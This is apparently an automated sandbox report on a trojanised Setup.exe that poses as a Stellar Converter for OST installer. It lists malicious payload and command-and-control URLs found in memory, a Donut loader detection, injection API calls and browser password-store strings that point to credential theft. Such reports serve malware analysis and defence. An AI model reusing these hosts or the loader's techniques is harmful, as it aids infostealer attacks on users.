Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Setup.exe, 00000000.00000002.2532430207.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/
Source: Setup.exe, 00000000.00000002.2532430207.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/(
Source: Setup.exe, 00000000.00000002.2532430207.00000000015BB000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.00000000015BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/V
Source: Setup.exe, 00000000.00000003.2530949368.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530800687.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532506005.00000000015E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_ldr_sha.txt
Source: Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530723477.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_ldr_sha.txtW
Source: Setup.exe, 00000000.00000003.2530949368.00000000015E3000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530800687.00000000015D6000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532506005.00000000015E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klipcatepiu0.shop/int_clp_ldr_sha.txti
Source: Setup.exe, 00000000.00000002.2532139687.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locketplyxx.click/
Source: Setup.exe, 00000000.00000002.2532139687.0000000001541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locketplyxx.click/7
Source: Setup.exe, 00000000.00000002.2532139687.0000000001541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locketplyxx.click/U
Source: Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279005255.0000000001578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locketplyxx.click/api
Source: Setup.exe, 00000000.00000002.2532139687.0000000001509000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://locketplyxx.click/api9=
Source: Setup.exe, 00000000.00000003.2420387896.0000000004283000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://locketplyxx.click/apis
Source: Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/
Source: Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/r
Source: Setup.exe, 00000000.00000002.2532309256.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530723477.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.2532962391.0000000004283000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2530354068.0000000001578000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://neqi.shop/sdgjyut/psh.txt
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Setup.exe, 00000000.00000003.2280030030.00000000042C7000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279908439.00000000042CA000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2279963378.00000000042C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: Setup.exe, 00000000.00000003.2336928748.00000000045D5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756

Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.151.193:443 -> 192.168.2.5:49756 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B8D0F5 GetPropW,GlobalLock,SendMessageW,GlobalUnlock,RemovePropW,GlobalFree,GlobalUnlock,GetAsyncKeyState,SendMessageW,

0_2_00B8D0F5

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 Author: unknown

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_014AC059 NtCreateSection,NtMapViewOfSection,VirtualAlloc,NtMapViewOfSection,VirtualProtect,VirtualProtect,VirtualProtect,CreateThread,

0_2_014AC059

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BE7B56	0_2_00BE7B56
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CB50E0	0_2_00CB50E0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CC21C1	0_2_00CC21C1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BE91EF	0_2_00BE91EF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BE813E	0_2_00BE813E
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CC22E5	0_2_00CC22E5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00B624B0	0_2_00B624B0
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BA655F	0_2_00BA655F
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00B967EE	0_2_00B967EE
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CC0749	0_2_00CC0749
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BE78F5	0_2_00BE78F5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CC29DB	0_2_00CC29DB
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BAB932	0_2_00BAB932
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CADA7D	0_2_00CADA7D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00B7ECCD	0_2_00B7ECCD
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CA9D8C	0_2_00CA9D8C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BE7E9B	0_2_00BE7E9B
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00BEAEE4	0_2_00BEAEE4
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00B61E20	0_2_00B61E20
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014AC059	0_2_014AC059
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460299	0_2_01460299
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01487140	0_2_01487140
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146C106	0_2_0146C106
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01497116	0_2_01497116
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01477128	0_2_01477128
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147D1DC	0_2_0147D1DC
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146D048	0_2_0146D048
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149E066	0_2_0149E066
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01460000	0_2_01460000
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01482006	0_2_01482006
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147A016	0_2_0147A016
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01498016	0_2_01498016
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01465036	0_2_01465036
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147F0C6	0_2_0147F0C6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01467086	0_2_01467086
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01470326	0_2_01470326
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01466336	0_2_01466336
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01492256	0_2_01492256
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147220D	0_2_0147220D
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149021C	0_2_0149021C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01496213	0_2_01496213
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148D2C5	0_2_0148D2C5
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01464296	0_2_01464296
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148D2BE	0_2_0148D2BE
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149A2B6	0_2_0149A2B6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147B546	0_2_0147B546
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146E518	0_2_0146E518
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014675D6	0_2_014675D6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014775D9	0_2_014775D9
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01497426	0_2_01497426
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147F4F6	0_2_0147F4F6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149E4A6	0_2_0149E4A6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149A736	0_2_0149A736
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149E7C6	0_2_0149E7C6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01483666	0_2_01483666
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01464636	0_2_01464636
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01467976	0_2_01467976
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014829E6	0_2_014829E6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146D9AF	0_2_0146D9AF
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014879A6	0_2_014879A6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146A866	0_2_0146A866
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01496866	0_2_01496866
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01495812	0_2_01495812
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147F826	0_2_0147F826
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014738D6	0_2_014738D6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_014868F1	0_2_014868F1
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149EB06	0_2_0149EB06
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01468BE6	0_2_01468BE6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147FA46	0_2_0147FA46
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149AA76	0_2_0149AA76
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01480A26	0_2_01480A26
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01496AC6	0_2_01496AC6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146ED14	0_2_0146ED14
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01486DD6	0_2_01486DD6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01490C66	0_2_01490C66
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146AC16	0_2_0146AC16
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01472CEC	0_2_01472CEC
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147DF5C	0_2_0147DF5C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148DF14	0_2_0148DF14
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148CF21	0_2_0148CF21
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01496FC6	0_2_01496FC6
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148DFEB	0_2_0148DFEB
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148DFFA	0_2_0148DFFA
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148CF81	0_2_0148CF81
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0148DFA8	0_2_0148DFA8
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0147EE46	0_2_0147EE46
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01469E56	0_2_01469E56
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0149EE66	0_2_0149EE66
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01467E06	0_2_01467E06
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_01491E37	0_2_01491E37
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0146DE89	0_2_0146DE89

Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 01475EA6 appears 52 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00CA7938 appears 103 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 01469776 appears 75 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00CA7A20 appears 33 times
Source: C:\Users\user\Desktop\Setup.exe	Code function: String function: 00CA796C appears 35 times

Source: Setup.exe

Static PE information: invalid certificate

Source: Setup.exe, 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameStellar Converter for OST.exeT vs Setup.exe
Source: Setup.exe, 00000000.00000003.2210472208.00000000035D1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameStellar Converter for OST.exeT vs Setup.exe
Source: Setup.exe	Binary or memory string: OriginalFilenameStellar Converter for OST.exeT vs Setup.exe

Source: Setup.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@3/2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_014609A9 CreateToolhelp32Snapshot,Thread32First,Wow64SuspendThread,CloseHandle,CloseHandle,

0_2_014609A9

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B772D1 CoInitialize,GetProcAddress,GetProcAddress,GetProcAddress,CoCreateInstance,

0_2_00B772D1

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00B6B089 FindResourceW,LoadResource,LockResource,FreeResource,

0_2_00B6B089

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe, 00000000.00000003.2280263707.00000000042B4000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2307738289.000000000432E000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2280625323.0000000004298000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2307738289.00000000042AA000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: oledlg.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: Setup.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: Setup.exe

Static file information: File size 76868306 > 1048576

Source: Setup.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x171800

Source: Setup.exe

Static PE information: More than 200 imports for USER32.dll

Source: Setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: Setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: Setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: Setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: Setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: Setup.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: Setup.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: Setup.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: F:\Ost_profile\StellarIntializer\Release\StellarIntializer.pdb` source: Setup.exe
Source:	Binary string: F:\Ost_profile\StellarIntializer\Release\StellarIntializer.pdb source: Setup.exe

Source: Setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: Setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: Setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: Setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: Setup.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00BE7B56 LoadLibraryA,GetProcAddress,VirtualAlloc,

0_2_00BE7B56

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00CA7901 push ecx; ret	0_2_00CA7914
